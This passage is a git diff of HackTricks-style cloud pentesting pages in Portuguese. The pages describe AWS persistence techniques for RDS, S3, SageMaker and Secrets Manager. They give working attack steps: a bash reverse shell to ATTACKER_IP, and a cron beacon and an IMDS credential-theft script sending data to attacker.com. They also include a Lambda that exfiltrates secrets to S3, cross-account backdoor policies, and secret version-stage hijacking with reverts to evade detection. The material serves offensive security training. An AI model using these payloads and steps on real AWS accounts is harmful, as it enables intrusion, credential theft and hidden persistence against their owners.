+Um atacante poderia simplesmente **criar um usuário dentro do DB** para que, mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados.
+
+### Tornar o snapshot público
+```bash
+aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
deleted file mode 100644
index a46420668..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# AWS - S3 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### KMS Client-Side Encryption
-
-Quando o processo de criptografia é concluído, o usuário usará a API KMS para gerar uma nova chave (`aws kms generate-data-key`) e ele **armazenará a chave criptografada gerada dentro dos metadados** do arquivo ([exemplo de código python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) para que, quando a descriptografia ocorrer, ele possa descriptografá-la usando o KMS novamente:
-
-<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
-
-Portanto, um atacante poderia obter essa chave dos metadados e descriptografar com KMS (`aws kms decrypt`) para obter a chave usada para criptografar as informações. Dessa forma, o atacante terá a chave de criptografia e, se essa chave for reutilizada para criptografar outros arquivos, ele poderá usá-la.
-
-### Using S3 ACLs
-
-Embora geralmente as ACLs de buckets estejam desativadas, um atacante com privilégios suficientes poderia abusar delas (se ativadas ou se o atacante puder ativá-las) para manter o acesso ao bucket S3.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
new file mode 100644
index 000000000..e8f1a85a7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
@@ -0,0 +1,25 @@
+# AWS - S3 Persistência
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Para mais informações, veja:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS - Criptografia do Lado do Cliente
+
+Quando o processo de criptografia é concluído, o usuário vai usar a API do KMS para gerar uma nova key (`aws kms generate-data-key`) e ele vai **armazenar a chave gerada e criptografada dentro dos metadados** do arquivo ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) de forma que, quando ocorrer a descriptografia, ela possa ser descriptografada usando o KMS novamente:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+Portanto, um attacker poderia obter essa chave dos metadados e decriptá‑la com KMS (`aws kms decrypt`) para obter a chave usada para criptografar a informação. Dessa forma o attacker terá a encryption key e, se essa key for reutilizada para criptografar outros arquivos, ele poderá usá‑la.
+
+### Usando S3 ACLs
+
+Embora normalmente os ACLs dos buckets estejam desativados, um attacker com privilégios suficientes poderia abusar deles (se ativados ou se o attacker puder ativá‑los) para manter acesso ao S3 bucket.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
deleted file mode 100644
index 4f4de3f10..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
+++ /dev/null
@@ -1,158 +0,0 @@
-# Aws Sagemaker Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Visão Geral das Técnicas de Persistência
-
-Esta seção descreve métodos para obter persistência no SageMaker abusando das Configurações de Ciclo de Vida (LCCs), incluindo shells reversos, jobs cron, roubo de credenciais via IMDS e backdoors SSH. Esses scripts são executados com o papel IAM da instância e podem persistir entre reinicializações. A maioria das técnicas requer acesso à rede de saída, mas o uso de serviços no plano de controle da AWS ainda pode permitir sucesso se o ambiente estiver no modo "apenas VPC".
-#### Nota: As instâncias de notebook do SageMaker são essencialmente instâncias EC2 gerenciadas configuradas especificamente para cargas de trabalho de aprendizado de máquina.
-
-## Permissões Necessárias
-* Instâncias de Notebook:
-```
-sagemaker:CreateNotebookInstanceLifecycleConfig
-sagemaker:UpdateNotebookInstanceLifecycleConfig
-sagemaker:CreateNotebookInstance
-sagemaker:UpdateNotebookInstance
-```
-* Aplicações do Studio:
-```
-sagemaker:CreateStudioLifecycleConfig
-sagemaker:UpdateStudioLifecycleConfig
-sagemaker:UpdateUserProfile
-sagemaker:UpdateSpace
-sagemaker:UpdateDomain
-```
-## Definir Configuração de Ciclo de Vida em Instâncias de Notebook
-
-### Exemplos de Comandos AWS CLI:
-```bash
-# Create Lifecycle Configuration*
-
-aws sagemaker create-notebook-instance-lifecycle-config \
---notebook-instance-lifecycle-config-name attacker-lcc \
---on-start Content=$(base64 -w0 reverse_shell.sh)
-
-
-# Attach Lifecycle Configuration to Notebook Instance*
-
-aws sagemaker update-notebook-instance \
---notebook-instance-name victim-instance \
---lifecycle-config-name attacker-lcc
-```
-## Definir Configuração de Ciclo de Vida no SageMaker Studio
-
-As Configurações de Ciclo de Vida podem ser anexadas em vários níveis e a diferentes tipos de aplicativos dentro do SageMaker Studio.
-
-### Nível de Domínio do Studio (Todos os Usuários)
-```bash
-# Create Studio Lifecycle Configuration*
-
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-studio-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-
-
-# Apply LCC to entire Studio Domain*
-
-aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-### Nível de Espaço do Estúdio (Espaços Individuais ou Compartilhados)
-```bash
-# Update SageMaker Studio Space to attach LCC*
-
-aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-## Tipos de Configurações de Ciclo de Vida de Aplicativos do Studio
-
-As configurações de ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicativos do SageMaker Studio:
-* JupyterServer: Executa scripts durante a inicialização do servidor Jupyter, ideal para mecanismos de persistência como shells reversos e jobs cron.
-* KernelGateway: Executa durante o lançamento do aplicativo de gateway de kernel, útil para configuração inicial ou acesso persistente.
-* CodeEditor: Aplica-se ao Editor de Código (Code-OSS), permitindo scripts que são executados no início das sessões de edição de código.
-
-### Comando de Exemplo para Cada Tipo:
-
-### JupyterServer
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-jupyter-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-```
-### KernelGateway
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-kernelgateway-lcc \
---studio-lifecycle-config-app-type KernelGateway \
---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
-```
-### CodeEditor
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-codeeditor-lcc \
---studio-lifecycle-config-app-type CodeEditor \
---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
-```
-### Informações Críticas:
-* Anexar LCCs no nível de domínio ou espaço impacta todos os usuários ou aplicativos dentro do escopo.
-* Requer permissões mais altas (sagemaker:UpdateDomain, sagemaker:UpdateSpace) que geralmente são mais viáveis no nível de espaço do que no nível de domínio.
-* Controles em nível de rede (por exemplo, filtragem de egressos rigorosa) podem impedir shells reversos bem-sucedidos ou exfiltração de dados.
-
-## Shell Reverso via Configuração de Ciclo de Vida
-
-As Configurações de Ciclo de Vida do SageMaker (LCCs) executam scripts personalizados quando as instâncias de notebook são iniciadas. Um atacante com permissões pode estabelecer um shell reverso persistente.
-
-### Exemplo de Payload:
-```
-#!/bin/bash
-ATTACKER_IP="<ATTACKER_IP>"
-ATTACKER_PORT="<ATTACKER_PORT>"
-nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
-```
-## Persistência de Cron Job via Configuração de Ciclo de Vida
-
-Um atacante pode injetar cron jobs através de scripts LCC, garantindo a execução periódica de scripts ou comandos maliciosos, permitindo uma persistência discreta.
-
-### Exemplo de Payload:
-```
-#!/bin/bash
-PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
-CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
-CRON_JOB="*/30 * * * * $CRON_CMD"
-
-mkdir -p /home/ec2-user/SageMaker/.local_tasks
-echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
-chmod +x $PAYLOAD_PATH
-
-(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
-```
-## Exfiltração de Credenciais via IMDS (v1 & v2)
-
-As configurações de ciclo de vida podem consultar o Serviço de Metadados da Instância (IMDS) para recuperar credenciais IAM e exfiltrá-las para um local controlado pelo atacante.
-
-### Exemplo de Payload:
-```bash
-#!/bin/bash
-ATTACKER_BUCKET="s3://attacker-controlled-bucket"
-TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
-
-# Exfiltrate via S3*
-
-aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
-
-# Alternatively, exfiltrate via HTTP POST*
-
-curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
new file mode 100644
index 000000000..d7b384851
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
@@ -0,0 +1,230 @@
+# AWS - SageMaker Persistência
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Visão geral das técnicas de persistência
+
+Esta seção descreve métodos para obter persistência no SageMaker abusando de Lifecycle Configurations (LCCs), incluindo reverse shells, cron jobs, credential theft via IMDS, e SSH backdoors. Esses scripts são executados com a função IAM da instância e podem persistir entre reinícios. A maioria das técnicas requer acesso de rede de saída, mas o uso de serviços no AWS control plane ainda pode permitir sucesso se o ambiente estiver em modo 'VPC-only'.
+
+> [!TIP]
+> Nota: As instâncias notebook do SageMaker são, essencialmente, instâncias EC2 gerenciadas configuradas especificamente para cargas de trabalho de aprendizado de máquina.
+
+## Permissões necessárias
+* Instâncias notebook:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Aplicações do Studio:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## Definir Lifecycle Configuration em Notebook Instances
+
+### Exemplos de comandos AWS CLI:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## Definir Lifecycle Configuration no SageMaker Studio
+
+Lifecycle Configurations podem ser anexadas a vários níveis e a diferentes tipos de app dentro do SageMaker Studio.
+
+### Studio Domain Level (Todos os Usuários)
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Nível do Studio Space (Espaços Individuais ou Compartilhados)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Tipos de Configurações do Ciclo de Vida de Aplicações do Studio
+
+As configurações do ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicação do SageMaker Studio:
+* JupyterServer: Executa scripts durante a inicialização do servidor Jupyter, ideal para mecanismos de persistência como reverse shells e cron jobs.
+* KernelGateway: Executa durante o lançamento do app KernelGateway, útil para configuração inicial ou acesso persistente.
+* CodeEditor: Aplica-se ao Code Editor (Code-OSS), permitindo scripts que são executados no início das sessões de edição de código.
+
+### Comando de Exemplo para Cada Tipo:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### Editor de Código
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### Informações críticas:
+* Anexar LCCs no nível de domain ou space impacta todos os usuários ou aplicações dentro do escopo.
+* Requer permissões elevadas (sagemaker:UpdateDomain, sagemaker:UpdateSpace); tipicamente mais viável no nível de space do que no de domain.
+* Controles a nível de rede (por exemplo, strict egress filtering) podem impedir reverse shells bem-sucedidos ou data exfiltration.
+
+## Reverse Shell via Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) executam scripts personalizados quando notebook instances são iniciadas. Um atacante com permissões pode estabelecer um reverse shell persistente.
+
+### Exemplo de Payload:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistence via Lifecycle Configuration
+
+Um atacante pode injetar cron jobs através de scripts LCC, garantindo a execução periódica de scripts ou comandos maliciosos, permitindo stealthy persistence.
+
+### Payload Example:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## Credential Exfiltration via IMDS (v1 & v2)
+
+Lifecycle configurations podem consultar o Instance Metadata Service (IMDS) para recuperar IAM credentials e exfiltrate-as para um attacker-controlled location.
+
+### Payload Example:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+## Persistência via política de recurso do Model Registry (PutModelPackageGroupPolicy)
+
+Abusar da política baseada em recurso em um SageMaker Model Package Group para conceder a um principal externo direitos cross-account (por exemplo, CreateModelPackage/Describe/List). Isso cria uma backdoor durável que permite empurrar versões de modelo envenenadas ou ler metadados/artifacts do modelo mesmo que o IAM user/role do atacante na conta da vítima seja removido.
+
+Permissões necessárias
+- sagemaker:CreateModelPackageGroup
+- sagemaker:PutModelPackageGroupPolicy
+- sagemaker:GetModelPackageGroupPolicy
+
+Passos (us-east-1)
+```bash
+# 1) Create a Model Package Group
+REGION=${REGION:-us-east-1}
+MPG=atk-mpg-$(date +%s)
+aws sagemaker create-model-package-group \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--model-package-group-description "Test backdoor"
+
+# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
+cat > /tmp/mpg-policy.json <<JSON
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowCrossAccountCreateDescribeList",
+"Effect": "Allow",
+"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
+"Action": [
+"sagemaker:CreateModelPackage",
+"sagemaker:DescribeModelPackage",
+"sagemaker:DescribeModelPackageGroup",
+"sagemaker:ListModelPackages"
+],
+"Resource": [
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
+]
+}
+]
+}
+JSON
+
+# 3) Attach the policy to the group
+aws sagemaker put-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
+
+# 4) Retrieve the policy (evidence)
+aws sagemaker get-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--query ResourcePolicy --output text
+```
+Notas
+- Para um real cross-account backdoor, limite Resource ao ARN do grupo específico e use o attacker’s AWS account ID em Principal.
+- Para implantações end-to-end cross-account ou leituras de artefatos, alinhe os grants S3/ECR/KMS com o attacker account.
+
+Impacto
+- Controle persistente cross-account de um grupo do Model Registry: o attacker pode publicar versões maliciosas de modelos ou enumerar/ler metadados de modelos mesmo depois que suas entidades IAM forem removidas na victim account.
+
+## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
+
+Abuse as configurações de usuário do SageMaker Canvas para redirecionar silenciosamente gravações no model registry para uma conta controlada pelo attacker, habilitando ModelRegisterSettings e apontando CrossAccountModelRegisterRoleArn para uma role attacker em outra conta.
+
+Permissões necessárias
+- sagemaker:UpdateUserProfile no UserProfile alvo
+- Opcional: sagemaker:CreateUserProfile em um Domain que você controla
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
deleted file mode 100644
index 57f85f2f8..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# AWS - Persistência do Secrets Manager
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Via Políticas de Recursos
-
-É possível **conceder acesso a segredos para contas externas** por meio de políticas de recursos. Consulte a [**página de Privesc do Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para mais informações. Observe que, para **acessar um segredo**, a conta externa também **precisará de acesso à chave KMS que criptografa o segredo**.
-
-### Via Lambda de Rotação de Segredos
-
-Para **rotacionar segredos** automaticamente, uma **Lambda** configurada é chamada. Se um atacante puder **alterar** o **código**, ele poderá **exfiltrar diretamente o novo segredo** para si mesmo.
-
-Este é um exemplo de como o código da lambda para tal ação poderia ser:
-```python
-import boto3
-
-def rotate_secrets(event, context):
-# Create a Secrets Manager client
-client = boto3.client('secretsmanager')
-
-# Retrieve the current secret value
-secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-# Rotate the secret by updating its value
-new_secret_value = rotate_secret(secret_value)
-client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-# Perform the rotation logic here, e.g., generate a new password
-
-# Example: Generate a new password
-new_secret_value = generate_password()
-
-return new_secret_value
-
-def generate_password():
-# Example: Generate a random password using the secrets module
-import secrets
-import string
-password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-return password
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
new file mode 100644
index 000000000..591d9ccea
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
@@ -0,0 +1,234 @@
+# AWS - Secrets Manager Persistência
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Via Resource Policies
+
+É possível **conceder acesso a secrets a contas externas** via resource policies. Consulte a [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) para mais informações. Observe que, para **acessar um secret**, a conta externa também **precisará de acesso à chave KMS que criptografa o secret**.
+
+### Via Secrets Rotate Lambda
+
+Para **rotacionar secrets** automaticamente uma **Lambda** configurada é chamada. Se um atacante conseguir **alterar** o **código**, ele poderia diretamente **exfiltrate the new secret** para si.
+
+This is how lambda code for such action could look like:
+```python
+import boto3
+
+def rotate_secrets(event, context):
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
+
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+# Perform the rotation logic here, e.g., generate a new password
+
+# Example: Generate a new password
+new_secret_value = generate_password()
+
+return new_secret_value
+
+def generate_password():
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Troque a Lambda de rotação por uma função controlada pelo atacante via RotateSecret
+
+Abusar de `secretsmanager:RotateSecret` para reatribuir um secret a uma rotation Lambda controlada pelo atacante e disparar uma rotação imediata. A função maliciosa exfiltra as versões do segredo (AWSCURRENT/AWSPENDING) durante os passos de rotação (createSecret/setSecret/testSecret/finishSecret) para um destino do atacante (por exemplo, S3 ou HTTP externo).
+
+- Requisitos
+- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
+- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
+
+- Impacto
+- O atacante obtém o(s) valor(es) do segredo sem modificar o código legítimo de rotação. Apenas a configuração de rotação é alterada para apontar para a Lambda do atacante. Se não for detectado, rotações futuras agendadas continuarão a invocar a função do atacante.
+
+- Etapas do ataque (CLI)
+1) Prepare o destino do atacante e a execution role do Lambda
+- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
+2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
+3) Reatribua a rotação e acione
+- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
+4) Verifique a exfiltração listando o prefixo S3 para esse secret e inspecionando os artefatos JSON.
+5) (Opcional) Restaure a Lambda de rotação original para reduzir a detecção.
+
+- Exemplo de Lambda atacante (Python) exfiltrando para S3
+- Environment: `EXFIL_BUCKET=<bucket>`
+- Handler: `lambda_function.lambda_handler`
+```python
+import boto3, json, os, base64, datetime
+s3 = boto3.client('s3')
+sm = boto3.client('secretsmanager')
+BUCKET = os.environ['EXFIL_BUCKET']
+
+def write_s3(key, data):
+s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
+
+def lambda_handler(event, context):
+sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
+# Exfil both stages best-effort
+def getv(**kw):
+try:
+r = sm.get_secret_value(**kw)
+return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
+except Exception as e:
+return {'error': str(e)}
+current = getv(SecretId=sid, VersionStage='AWSCURRENT')
+pending = getv(SecretId=sid, VersionStage='AWSPENDING')
+key = f"{sid.replace(':','_')}/{step}/{token}.json"
+write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
+# Minimal rotation (optional): copy current->pending and promote in finishSecret
+# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
+```
+### Version Stage Hijacking para Persistência Clandestina (custom stage + fast AWSCURRENT flip)
+
+Abuse Secrets Manager version staging labels para plantar uma versão de secret controlada pelo atacante e mantê-la oculta sob um stage customizado (por exemplo, `ATTACKER`) enquanto a produção continua usando o original `AWSCURRENT`. A qualquer momento, mova `AWSCURRENT` para a versão do atacante para contaminar workloads dependentes, depois restaure para minimizar a detecção. Isso fornece persistência de backdoor discreta e manipulação rápida do tempo-de-uso sem mudar o nome do secret ou a config de rotation.
+
+- Requirements
+- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (para verificação)
+- Target secret id in the Region.
+
+- Impact
+- Mantenha uma versão oculta e controlada pelo atacante de um secret e flip `AWSCURRENT` para ela de forma atômica sob demanda, influenciando qualquer consumidor que resolva o mesmo nome de secret. O flip e o rápido revert reduzem a chance de detecção enquanto permitem comprometimento no momento do uso.
+
+- Attack steps (CLI)
+- Preparation
+- `export SECRET_ID=<target secret id or arn>`
+
+<details>
+<summary>Comandos CLI</summary>
+```bash
+# 1) Capture current production version id (the one holding AWSCURRENT)
+CUR=$(aws secretsmanager list-secret-version-ids \
+--secret-id "$SECRET_ID" \
+--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
+--output text)
+
+# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
+BACKTOK=$(uuidgen)
+aws secretsmanager put-secret-value \
+--secret-id "$SECRET_ID" \
+--client-request-token "$BACKTOK" \
+--secret-string {backdoor:hunter2!}
+
+# 3) Restore production and hide attacker version under custom stage
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage ATTACKER \
+--move-to-version-id "$BACKTOK"
+
+# Verify stages
+aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
+
+# 4) On-demand flip to the attacker’s value and revert quickly
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$BACKTOK" \
+--remove-from-version-id "$CUR"
+
+# Validate served plaintext now equals the attacker payload
+aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
+
+# Revert to reduce detection
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+```
+</details>
+
+- Notas
